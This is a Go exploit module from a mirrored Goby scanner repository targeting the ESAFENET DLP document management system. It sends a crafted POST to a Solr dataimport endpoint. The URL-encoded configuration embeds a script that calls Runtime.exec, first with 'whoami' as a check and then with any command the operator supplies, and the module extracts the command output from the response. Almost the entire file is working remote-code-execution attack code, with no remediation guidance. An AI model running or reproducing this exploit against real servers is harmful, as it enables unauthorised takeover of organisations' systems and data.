mirror of https://github.com/qwqdanchun/Goby.git
90 lines
5.8 KiB
Go
90 lines
5.8 KiB
Go
|
package exploits
|
||
|
|
||
|
import (
|
||
|
"fmt"
|
||
|
"git.gobies.org/goby/goscanner/goutils"
|
||
|
"git.gobies.org/goby/goscanner/jsonvul"
|
||
|
"git.gobies.org/goby/goscanner/scanconfig"
|
||
|
"git.gobies.org/goby/httpclient"
|
||
|
"regexp"
|
||
|
"strings"
|
||
|
)
|
||
|
|
||
|
func init() {
|
||
|
expJson := `{
|
||
|
"Name": "ESAFENET DLP dataimport RCE",
|
||
|
"Description": "ESAFENET DLP dataimport RCE,There is remote command execution, and the attacker can obtain the server permission through the vulnerability",
|
||
|
"Product": "ESAFENET-DLP document management system",
|
||
|
"Homepage": "http://www.esafenet.com/",
|
||
|
"DisclosureDate": "2021-06-01",
|
||
|
"Author": "PeiQi",
|
||
|
"GobyQuery": "app=\"ESAFENET-DLP\"",
|
||
|
"Level": "3",
|
||
|
"Impact": "<p>RCE</p>",
|
||
|
"Recommendation": "",
|
||
|
"References": [
|
||
|
"http://wiki.peiqi.tech"
|
||
|
],
|
||
|
"HasExp": true,
|
||
|
"ExpParams": [
|
||
|
{
|
||
|
"name": "Cmd",
|
||
|
"type": "input",
|
||
|
"value": "whoami"
|
||
|
}
|
||
|
],
|
||
|
"ScanSteps": [
|
||
|
"AND"
|
||
|
],
|
||
|
"ExploitSteps": null,
|
||
|
"Tags": [
|
||
|
"RCE"
|
||
|
],
|
||
|
"CVEIDs": null,
|
||
|
"CVSSScore": "0.0",
|
||
|
"AttackSurfaces": {
|
||
|
"Application": [
|
||
|
"ESAFENET DLP"
|
||
|
],
|
||
|
"Support": null,
|
||
|
"Service": null,
|
||
|
"System": null,
|
||
|
"Hardware": null
|
||
|
},
|
||
|
"Recommandation": "<p>undefined</p>"
|
||
|
}`
|
||
|
|
||
|
ExpManager.AddExploit(NewExploit(
|
||
|
goutils.GetFileName(),
|
||
|
expJson,
|
||
|
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
|
||
|
uri := "/solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22whoami%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20"
|
||
|
cfg := httpclient.NewPostRequestConfig(uri)
|
||
|
cfg.VerifyTls = false
|
||
|
cfg.FollowRedirect = false
|
||
|
cfg.Header.Store("Content-type", "multipart/form-data; boundary=1966379a3af80fe4102863061a103a3e")
|
||
|
cfg.Data = "--1966379a3af80fe4102863061a103a3e\r\nContent-Disposition: form-data; name=\"stream.body\"; filename=\"stream.body\"\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><RDF><item/></RDF>\r\n--1966379a3af80fe4102863061a103a3e--"
|
||
|
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
|
||
|
return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "system")
|
||
|
}
|
||
|
return false
|
||
|
},
|
||
|
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
|
||
|
cmd := ss.Params["Cmd"].(string)
|
||
|
uri := "/solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22" + cmd + "%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20"
|
||
|
cfg := httpclient.NewPostRequestConfig(uri)
|
||
|
cfg.VerifyTls = false
|
||
|
cfg.FollowRedirect = false
|
||
|
cfg.Header.Store("Content-type", "multipart/form-data; boundary=1966379a3af80fe4102863061a103a3e")
|
||
|
cfg.Data = "--1966379a3af80fe4102863061a103a3e\r\nContent-Disposition: form-data; name=\"stream.body\"; filename=\"stream.body\"\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><RDF><item/></RDF>\r\n--1966379a3af80fe4102863061a103a3e--"
|
||
|
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
|
||
|
if resp.StatusCode == 200 {
|
||
|
resinfo := regexp.MustCompile(`documents"><lst><arr name="title"><str>([\s\S]*?)</str></arr></lst>`).FindStringSubmatch(resp.RawBody)[1]
|
||
|
expResult.Output = resinfo
|
||
|
expResult.Success = true
|
||
|
}
|
||
|
}
|
||
|
return expResult
|
||
|
},
|
||
|
))
|
||
|
}
|